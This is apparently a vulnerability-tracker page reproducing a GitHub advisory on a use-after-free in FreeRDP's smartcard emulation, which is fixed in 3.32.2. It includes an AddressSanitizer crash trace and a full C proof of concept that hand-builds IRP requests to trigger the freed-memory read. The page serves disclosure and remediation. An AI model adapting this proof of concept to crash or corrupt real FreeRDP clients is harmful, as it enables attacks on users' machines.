Use-after-free in FreeRDP smartcard emulation ReleaseContext
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
FreeRDP through 3.32.1 has a use-after-free in its smartcard emulation. Releasing a smartcard context frees the context and its handle before the context's worker thread has stopped, so a pending status-change request reads freed memory. A remote endpoint that can send smartcard requests to a client with smartcard emulation enabled can trigger a heap use-after-free in the client process.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
# FreeRDP smartcard emulation: use-after-free in ReleaseContext racing in-flight GetStatusChange ## Summary A remote endpoint that can send smartcard IRPs to the client can trigger a heap use-after-free in the client process; the client must have `/smartcard` enabled with `FreeRDP_SmartcardEmulation` enabled at runtime. The sequence is `ESTABLISHCONTEXT`, then `GETSTATUSCHANGEW` with a long or infinite timeout, then `RELEASECONTEXT`: `RELEASECONTEXT` releases the emulated `SCardContext` and its handle before the context's worker thread is cancelled and joined, so the in-flight `GETSTATUSCHANGE` keeps reading released memory. AddressSanitizer reports a use-after-free read. The issue was checked on the latest commit. ## Technical Details The missing check is that `Emulate_SCardReleaseContext` frees the emulated `SCardContext` and deletes the context's handle before the context's worker thread has been cancelled and joined. Repository-relative locations: - `libfreerdp/emu/scard/smartcard_emulate.c:466-490` (`Emulate_SCardReleaseContext`): at line 479 it deletes the context's handle via `HashTable_Foreach`, and `HashTable_Remove(contexts)` triggers `scard_context_free`, which frees the `SCardContext`. - `libfreerdp/emu/scard/smartcard_emulate.c:1444-1504` (`Emulate_SCardGetStatusChangeA`). - `libfreerdp/emu/scard/smartcard_emulate.c:1527-1588` (`Emulate_SCardGetStatusChangeW`): inside the loop the fields `value->readerStateW[y]` and `value->canceled` are read after the backing block is freed. Data flow: - `channels/smartcard/client/smartcard_main.c:402-500` (`smartcard_process_irp`): `GETSTATUSCHANGEW` is in the async list and, when the `hContext` already has a context, is posted with `MessageQueue_Post` to that context's worker thread; `RELEASECONTEXT` is in the sync list and is handled on the channel thread. - `libfreerdp/utils/smartcard_call.c:105-158` (`smartcard_EstablishContext_Call`): `EstablishContext` creates the worker thread through `fn_new` and inserts the element into `rgSCardContextList`. - `libfreerdp/utils/smartcard_call.c:160-176` (`smartcard_ReleaseContext_Call`): `wrap(SCardReleaseContext)` first frees the emulated context and handle, and only afterwards `HashTable_Remove(rgSCardContextList)` triggers `smartcard_context_free` to cancel and join the worker thread. - `libfreerdp/utils/smartcard_call.c:1068-1135` (`smartcard_GetStatusChangeW_Call`): the worker thread enters `Emulate_SCardGetStatusChangeW` through `wrap` and, with a long timeout, stays in the `Sleep` loop. - Sink: `libfreerdp/emu/scard/smartcard_emulate.c:1542-1570` (`Emulate_SCardGetStatusChangeW`), reading `&value->readerStateW[y]` and `value->canceled` after the free (AddressSanitizer reports a heap-use-after-free READ of size 8 at line 1543). The same root cause also affects the handle: `Emulate_SCardReleaseContext` frees the handle at line 479, while the worker thread continues to use the `hdl` pointer returned by `scard_handle_valid` outside the lock — `hdl->szReader` in `StatusW`/`StatusA` and `hdl->vgids`/`transmitcount`/`State` in `Transmit` — giving further use-after-free variants at the same fix point. The emulated `contexts` table is a lock-free `HashTable`, so concurrent `Insert`/`Remove` from multiple context worker threads is also a data race. ## Impact A remote endpoint that can send smartcard IRPs can repeatedly trigger the freed-then-used `SCardContext`, corrupting heap state or crashing the client process; the handle use-after-free variants and the `contexts` `HashTable` data race share the same fix point. ## Proof of Concept The behavior was reproduced on commit `651ab269524adbda4d673efa60d2e391ef7555a7`. The single manual entry point is `reproduce.sh` in the checkout root; the control run sets `POC_MODE=control` so the context is not released: ``` ./reproduce.sh POC_MODE=control ./reproduce.sh ``` Observed output (stdout summary): ``` build_ok=1 control_no_crash=1 attack_asan=4 attack_sink=2 --- control tail --- [poc] control mode: NOT releasing the context [poc] completed IRP tag=0x900e8 IoStatus=0x0 [poc] NO_CRASH REPRO_RESULT: reproduced ``` The success conditions correspond to the emitted run facts: the sequence `ESTABLISHCONTEXT` (synchronous, reply parsed for `hContext`) → `LOCATECARDSBYATRA` (asynchronous, fixed 500 ms inner window) → `RELEASECONTEXT` 120 ms later (synchronous, runs `wrap(SCardReleaseContext)` to free the `SCardContext`, then `HashTable_Remove(rgSCardContextList)` to cancel and join); the worker thread `T3` reads the already-freed `value->readerStateA[0].szReader` on the next `Sleep`-loop iteration and dereferences it in `strcmp`, where AddressSanitizer aborts. The control sequence (same `ESTABLISHCONTEXT` + `LOCATECARDSBYATRA` without `RELEASECONTEXT`) is stably `NO_CRASH`, which shows the free/in-flight-`GetStatusChange` overlap is the direct cause. Repeated independent runs crashed 3/3 times. The observed failure is a SEGV, because the freed block was reused before the read produced a wild pointer; this is the same use-after-free caused by freeing in `ReleaseContext` before the join. If the request's reader name is set to `NULL` to avoid the earlier `strcmp` dereference, that freed block is reused before the next read and the crash is no longer reached, so the reader-name variant that reliably reaches the sink is kept. Observed crash stack: ```text AddressSanitizer:DEADLYSIGNAL ================================================================= ==2749574==ERROR: AddressSanitizer: SEGV on unknown address 0x7fd000000002 (pc 0x558e06855325 bp 0x7bd0c0d631a0 sp 0x7bd0c0d62940 T3) ==2749574==The signal is caused by a READ memory access. #0 0x558e06855325 in strcmp /src/llvm-project/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:501:25 #1 0x7fd0cfadc497 in Emulate_SCardGetStatusChangeA /work/build/source/libfreerdp/emu/scard/smartcard_emulate.c:1460:44 #2 0x7fd0cfb100b2 in smartcard_LocateCardsByATRA_Call /work/build/source/libfreerdp/utils/smartcard_call.c:1639:28 #3 0x7fd0cfb0a091 in smartcard_irp_device_control_call /work/build/source/libfreerdp/utils/smartcard_call.c:1983:13 #4 0x558e06923c74 in smartcard_context_thread /work/build/source/channels/smartcard/client/smartcard_main.c:128:9 #5 0x7fd0cf92df15 in thread_launcher /work/build/source/winpr/libwinpr/thread/thread.c:540:7 #6 0x558e068db786 in asan_thread_start(void*) /src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:239:28 #7 0x7fd0cfe58608 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8608) (BuildId: 9753720502573b97dbac595b61fd72c2df18e078) #8 0x7fd0cf32d352 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x11f352) (BuildId: 5792732f783158c66fb4f3756458ca24e46e827d) ==2749574==Register values: rax = 0x0000000000000001 rbx = 0x00007fd000000002 rcx = 0x0000000000000000 rdx = 0x0000000000000000 rdi = 0x00007c00c53ec250 rsi = 0x00007fd000000002 rbp = 0x00007bd0c0d631a0 rsp = 0x00007bd0c0d62940 r8 = 0x00000f7a181ac5e0 r9 = 0x00007bd0c0d62f07 r10 = 0x00000f7a181ac5e0 r11 = 0x00000f7a981a45e0 r12 = 0x00007d10c53f0040 r13 = 0x0000000000000046 r14 = 0x00007c00c53ec250 r15 = 0x0000000000000000 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /work/build/source/libfreerdp/emu/scard/smartcard_emulate.c:1460:44 in Emulate_SCardGetStatusChangeA Thread T3 created by T2 here: #0 0x558e068c2071 in pthread_create /src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:250:3 #1 0x7fd0cf92cfc1 in winpr_StartThread /work/build/source/winpr/libwinpr/thread/thread.c:588:6 #2 0x7fd0cf92cbd5 in CreateThread /work/build/source/winpr/libwinpr/thread/thread.c:728:8 #3 0x558e06923398 in smartcard_context_new /work/build/source/channels/smartcard/client/smartcard_main.c:207:21 #4 0x7fd0cfb0a88c in smartcard_EstablishContext_Call /work/build/source/libfreerdp/utils/smartcard_call.c:127:24 #5 0x7fd0cfb09cdb in smartcard_irp_device_control_call /work/build/source/libfreerdp/utils/smartcard_call.c:1831:13 #6 0x558e069241da in smartcard_process_irp /work/build/source/channels/smartcard/client/smartcard_main.c:471:8 #7 0x558e069236fa in smartcard_thread_func /work/build/source/channels/smartcard/client/smartcard_main.c:562:18 #8 0x7fd0cf92df15 in thread_launcher /work/build/source/winpr/libwinpr/thread/thread.c:540:7 #9 0x558e068db786 in asan_thread_start(void*) /src/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:239:28 ==2749574==ABORTING ``` A decode log line `IRP was not fully parsed ... Difference: 4` appears; it is a benign warning caused by the encoder's trailing 8-byte alignment padding, and `hContext` parsing and the subsequent flow proceed normally. Chain exercised (all real code): `freerdp_new`/`freerdp_context_new` builds the `rdpContext` with `FreeRDP_SmartcardEmulation=TRUE` → `smartcard_DeviceServiceEntry` creates the real `SMARTCARD_DEVICE`, its channel thread (`smartcard_thread_func`) and its per-context worker thread (`smartcard_context_new` → `smartcard_context_thread`) → IRPs are delivered through the real `device->IRPRequest` callback (the same one called from `rdpdr_main.c:1598`) → `smartcard_process_irp` → `smartcard_irp_device_control_decode_request` (real NDR decode) → `smartcard_irp_device_control_call` → `smartcard_EstablishContext_Call` / `smartcard_LocateCardsByATRA_Call` / `smartcard_ReleaseContext_Call` → `wrap()` → `Emulate_SCard*`. The `ESTABLISHCONTEXT` and `RELEASECONTEXT` IRP bytes are generated by the real server-side encoder `smartcard_irp_device_control_encode_request`; `LOCATECARDSBYATRA` is not supported by that encoder (`SCARD_E_UNSUPPORTED_FEATURE`), so its bytes are hand-built to match the `smartcard_unpack_locate_cards_by_atr_a_call` NDR layout and are still parsed by the real decoder. The only layer not replayed is the RDPDR packet/channel-management framing above `IRPRequest`, which carries no check related to this defect. Inline PoC source — `poc.c`: ```c /* * sd-23-04-emulated-vcard-apdu.f2 * * End-to-end PoC for the emulated-smartcard UAF: * ReleaseContext frees the emulated SCardContext (contexts table) *before* * the per-context IRP worker thread is cancelled/joined. An in-flight * asynchronous LOCATECARDSBYATRA IRP keeps dereferencing the freed * SCardContext inside Emulate_SCardGetStatusChangeA's Sleep loop. * * Chain exercised (all real code from the prepared ASan build): * smartcard_DeviceServiceEntry (real channel device service entry) * -> device->IRPRequest (the exact callback rdpdr_process_irp invokes) * -> smartcard_thread_func -> smartcard_process_irp * -> smartcard_irp_device_control_decode_request (real NDR decode) * -> smartcard_irp_device_control_call * -> smartcard_EstablishContext_Call / LocateCardsByATRA_Call / * ReleaseContext_Call (libfreerdp/utils/smartcard_call.c) * -> wrap() -> Emulate_SCard* (emulated backend) * * The only layer not replayed is the RDPDR wire framing above IRPRequest * (packet header + channel manager); the IRP bytes themselves are produced * by the real server-side encoder smartcard_irp_device_control_encode_request * (used by rdpdr server) or the byte-exact NDR layout the client decoder * expects. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <pthread.h> #include <winpr/crt.h> #include <winpr/stream.h> #include <winpr/smartcard.h> #include <winpr/wlog.h> #include <winpr/synch.h> #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <freerdp/channels/rdpdr.h> #include <freerdp/channels/scard.h> #include <freerdp/utils/smartcard_operations.h> #include <freerdp/utils/smartcard_pack.h> #include <freerdp/api.h> /* real channel device service entry (built-in smartcard channel object) */ extern UINT VCAPITYPE smartcard_DeviceServiceEntry(PDEVICE_SERVICE_ENTRY_POINTS pEntryPoints); static DEVICE* g_device = NULL; static HANDLE g_estEvent = NULL; static SCARDCONTEXT g_hctx = 0; static uint32_t rd32(const uint8_t* p) { uint32_t v; memcpy(&v, p, 4); return v; } static void wr32(uint8_t* p, uint32_t v) { memcpy(p, &v, 4); } static void wr16(uint8_t* p, uint16_t v) { memcpy(p, &v, 2); } static UINT my_register_device(DEVMAN* devman, DEVICE* device) { (void)devman; g_device = device; return CHANNEL_RC_OK; } static UINT my_discard(IRP* irp) { if (!irp) return CHANNEL_RC_OK; if (irp->input) Stream_Free(irp->input, TRUE); if (irp->output) Stream_Free(irp->output, TRUE); free(irp); return CHANNEL_RC_OK; } static UINT my_complete(IRP* irp) { const uintptr_t tag = (uintptr_t)irp->ItemEntry; if (tag == SCARD_IOCTL_ESTABLISHCONTEXT && irp->output) { SMARTCARD_OPERATION op; memset(&op, 0, sizeof(op)); /* skip the 16 byte RDPDR DeviceIoCompletion header */ Stream_SetPosition(irp->output, 16); const LONG rc = smartcard_irp_device_control_decode_response( irp->output, SCARD_IOCTL_ESTABLISHCONTEXT, &op); if (rc == SCARD_S_SUCCESS) { g_hctx = smartcard_scard_context_native_from_redir(&op.ret.establishContext.hContext); fprintf(stderr, "[poc] ESTABLISHCONTEXT hContext=0x%zx\n", (size_t)g_hctx); } else fprintf(stderr, "[poc] ESTABLISHCONTEXT decode_response rc=%ld\n", (long)rc); smartcard_operation_free(&op, FALSE); } else fprintf(stderr, "[poc] completed IRP tag=0x%lx IoStatus=0x%x\n", (unsigned long)tag, (unsigned)irp->IoStatus); if (g_estEvent) SetEvent(g_estEvent); my_discard(irp); return CHANNEL_RC_OK; } /* Build a wStream holding a full RDPDR DeviceControlRequest: * [0..19] IRP header placeholder (consumed by irp_new) * [20..31] OutputBufferLength / InputBufferLength / IoControlCode * [32..51] padding * [52..] encoded NDR object (16 byte type headers + payload) * The stream position is left at 20, exactly like irp_new leaves irp->input. */ static wStream* wrap_object(const uint8_t* obj, size_t objLen, uint32_t ioctl) { const size_t total = 20 + 32 + objLen; wStream* s = Stream_New(NULL, total); if (!s) return NULL; uint8_t irphdr[20]; uint8_t hdr[32]; memset(irphdr, 0, sizeof(irphdr)); /* IRP header placeholder */ memset(hdr, 0, sizeof(hdr)); wr32(hdr + 0, 0x800); /* OutputBufferLength */ wr32(hdr + 4, (uint32_t)objLen); /* InputBufferLength */ wr32(hdr + 8, ioctl); /* IoControlCode */ if (!Stream_EnsureRemainingCapacity(s, total)) { Stream_Free(s, TRUE); return NULL; } Stream_Write(s, irphdr, sizeof(irphdr)); Stream_Write(s, hdr, sizeof(hdr)); Stream_Write(s, obj, objLen); Stream_SealLength(s); Stream_SetPosition(s, 20); return s; } static wStream* encode_request(const SMARTCARD_OPERATION* op) { wStream* os = Stream_New(NULL, 4096); if (!os) return NULL; const LONG rc = smartcard_irp_device_control_encode_request(os, op); if (rc != SCARD_S_SUCCESS) { fprintf(stderr, "[poc] encode_request ioctl=0x%x rc=%ld\n", op->ioControlCode, (long)rc); Stream_Free(os, TRUE); return NULL; } Stream_SealLength(os); const size_t objLen = Stream_Length(os); const uint8_t* obj = Stream_Buffer(os); wStream* in = wrap_object(obj, objLen, op->ioControlCode); Stream_Free(os, TRUE); return in; } /* Hand-encoded SCARD_IOCTL_LOCATECARDSBYATRA request object, byte-exact with * smartcard_unpack_locate_cards_by_atr_a_call()/smartcard_unpack_reader_state_a(). * cAtrs = 0 (no ATR masks), cReaders = 1, reader = "FreeRDP Emulator". * * The reader name makes Emulate_SCardGetStatusChangeA actually walk the * per-context SCardContext every 100ms (500ms total). Once ReleaseContext has * freed that SCardContext, the next iteration reads readerStateA[0].szReader * out of the freed block and strcmp() dereferences the stale pointer, which is * the use-after-free sink the finding reports (smartcard_emulate.c:1460). */ #define LOCATE_PAYLOAD 124 static wStream* build_locate_cards_request(SCARDCONTEXT hctx) { uint8_t obj[16 + LOCATE_PAYLOAD]; memset(obj, 0, sizeof(obj)); /* common type header */ obj[0] = 1; /* Version */ obj[1] = 0x10; /* Endianness */ wr16(obj + 2, 8); /* CommonHeaderLength */ wr32(obj + 4, 0xCCCCCCCC); /* Filler */ /* private type header */ wr32(obj + 8, LOCATE_PAYLOAD); /* ObjectBufferLength */ wr32(obj + 12, 0); /* Filler */ /* payload */ uint8_t* p = obj + 16; wr32(p + 0, 8); /* cbContext */ wr32(p + 4, 0x00020000); /* pbContextNdrPtr (index 0) */ wr32(p + 8, 0); /* cAtrs = 0 */ wr32(p + 12, 0); /* rgAtrMasksNdrPtr = NULL */ wr32(p + 16, 1); /* cReaders = 1 */ wr32(p + 20, 0x00020004); /* rgReaderStatesNdrPtr (index 1) */ wr32(p + 24, 8); /* context ref length */ memcpy(p + 28, &hctx, 8); /* pbContext (native hContext) */ wr32(p + 36, 1); /* reader array length */ wr32(p + 40, 0x00020008); /* reader[0].szReader ndr ptr (index 2) */ wr32(p + 44, SCARD_STATE_PRESENT); /* dwCurrentState */ wr32(p + 48, SCARD_STATE_PRESENT); /* dwEventState */ wr32(p + 52, 0); /* cbAtr = 0 */ /* rgbAtr[36] = 0 (p+56 .. p+91) */ wr32(p + 92, 18); /* NDR full ptr: TotalSize */ wr32(p + 96, 0); /* Offset */ wr32(p + 100, 18); /* ActualSize */ memcpy(p + 104, "FreeRDP Emulator", 17); p[104 + 17] = 0; /* NUL terminator (18 bytes) */ /* p+122, p+123: align padding (already zero) */ return wrap_object(obj, sizeof(obj), SCARD_IOCTL_LOCATECARDSBYATRA); } static SCARDCONTEXT g_hctx_arg; static wStream* build_release_request(void) { SMARTCARD_OPERATION op; memset(&op, 0, sizeof(op)); op.ioControlCode = SCARD_IOCTL_RELEASECONTEXT; smartcard_scard_context_native_to_redir(&op.call.context.handles.hContext, g_hctx_arg); return encode_request(&op); } static wStream* build_establish_request(void) { SMARTCARD_OPERATION op; memset(&op, 0, sizeof(op)); op.ioControlCode = SCARD_IOCTL_ESTABLISHCONTEXT; op.call.establishContext.dwScope = SCARD_SCOPE_USER; return encode_request(&op); } static uint32_t g_cid = 1; static IRP* make_irp(wStream* input, uint32_t ioctl) { IRP* irp = (IRP*)calloc(1, sizeof(IRP)); if (!irp) return NULL; irp->device = g_device; irp->FileId = 0; irp->CompletionId = g_cid++; irp->MajorFunction = IRP_MJ_DEVICE_CONTROL; irp->MinorFunction = 0; irp->input = input; irp->IoStatus = 0; irp->output = Stream_New(NULL, 8192); if (!irp->output) { my_discard(irp); return NULL; } /* reserve the 16 byte RDPDR DeviceIoCompletion header slot */ { const uint8_t zero[16] = { 0 }; Stream_Write(irp->output, zero, sizeof(zero)); } irp->Complete = my_complete; irp->Discard = my_discard; irp->ItemEntry = (void*)(uintptr_t)ioctl; return irp; } static int send_irp(IRP* irp) { if (!g_device || !g_device->IRPRequest) { fprintf(stderr, "[poc] no device IRPRequest\n"); return -1; } return (int)g_device->IRPRequest(g_device, irp); } int main(int argc, char** argv) { int wait_establish = 1; (void)argc; (void)argv; WLog_SetLogLevel(WLog_GetRoot(), WLOG_WARN); /* --- build a real rdpContext with smartcard emulation enabled --- */ freerdp* inst = freerdp_new(); if (!inst) { fprintf(stderr, "[poc] freerdp_new failed\n"); return 2; } if (!freerdp_context_new(inst)) { fprintf(stderr, "[poc] freerdp_context_new failed\n"); return 2; } rdpSettings* settings = inst->context->settings; freerdp_settings_set_bool(settings, FreeRDP_SmartcardEmulation, TRUE); freerdp_settings_set_pointer(settings, FreeRDP_instance, inst); /* --- instantiate the real smartcard channel device service --- */ RDPDR_DEVICE rdpdr_dev; memset(&rdpdr_dev, 0, sizeof(rdpdr_dev)); rdpdr_dev.Type = RDPDR_DTYP_SMARTCARD; rdpdr_dev.Name = (char*)"SCARD"; DEVICE_SERVICE_ENTRY_POINTS ep; memset(&ep, 0, sizeof(ep)); ep.devman = NULL; ep.RegisterDevice = my_register_device; ep.device = &rdpdr_dev; ep.rdpcontext = inst->context; const UINT rc = smartcard_DeviceServiceEntry(&ep); fprintf(stderr, "[poc] smartcard_DeviceServiceEntry rc=%u device=%p\n", rc, (void*)g_device); if ((rc != CHANNEL_RC_OK) || !g_device) return 2; g_estEvent = CreateEventA(NULL, TRUE, FALSE, NULL); if (!g_estEvent) return 2; /* --- 1) ESTABLISHCONTEXT (sync) --- */ IRP* irp = make_irp(build_establish_request(), SCARD_IOCTL_ESTABLISHCONTEXT); if (!irp) return 2; if (send_irp(irp) != CHANNEL_RC_OK) return 2; if (wait_establish && WaitForSingleObject(g_estEvent, 5000) != WAIT_OBJECT_0) { fprintf(stderr, "[poc] ESTABLISHCONTEXT timed out\n"); return 2; } if (g_hctx == 0) { fprintf(stderr, "[poc] no hContext, aborting\n"); return 2; } g_hctx_arg = g_hctx; ResetEvent(g_estEvent); /* --- 2) LOCATECARDSBYATRA with a 500ms inner SCardGetStatusChangeA (async) --- */ IRP* loc = make_irp(build_locate_cards_request(g_hctx), SCARD_IOCTL_LOCATECARDSBYATRA); if (!loc) return 2; fprintf(stderr, "[poc] posting LOCATECARDSBYATRA (async, 500ms window)\n"); if (send_irp(loc) != CHANNEL_RC_OK) return 2; /* let the per-context worker enter Emulate_SCardGetStatusChangeA's Sleep loop */ usleep(120 * 1000); { const char* mode = getenv("POC_MODE"); if (mode && (strcmp(mode, "control") == 0)) { fprintf(stderr, "[poc] control mode: NOT releasing the context\n"); WaitForSingleObject(g_estEvent, 8000); fprintf(stderr, "[poc] NO_CRASH\n"); return 0; } } /* --- 3) RELEASECONTEXT (sync on channel thread): frees SCardContext before join --- */ IRP* rel = make_irp(build_release_request(), SCARD_IOCTL_RELEASECONTEXT); if (!rel) return 2; fprintf(stderr, "[poc] posting RELEASECONTEXT while worker holds the context\n"); if (send_irp(rel) != CHANNEL_RC_OK) return 2; /* if the UAF fires ASan aborts the process here; otherwise wait a bit */ WaitForSingleObject(g_estEvent, 6000); usleep(600 * 1000); fprintf(stderr, "[poc] NO_CRASH\n"); return 0; } ``` ## Suggested Fix Make `Emulate_SCardReleaseContext` cancel and join the context's worker thread before it frees the emulated `SCardContext` and deletes the context's handle: the handle deletion via `HashTable_Foreach` and the `HashTable_Remove(contexts)` that triggers `scard_context_free` must happen only after the worker thread that may still be inside `Emulate_SCardGetStatusChangeW`/`A` has been cancelled and joined, and the `contexts` table access must be mutually exclusive with the worker threads' concurrent `Insert`/`Remove`.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-983v-jp34-f3fm |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-983v-jp34-f3fm
Remediation
Upgrade FreeRDP to version 3.32.2, which fixes this flaw.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-983v-jp34-f3fm FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-983v-jp34-f3fm
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences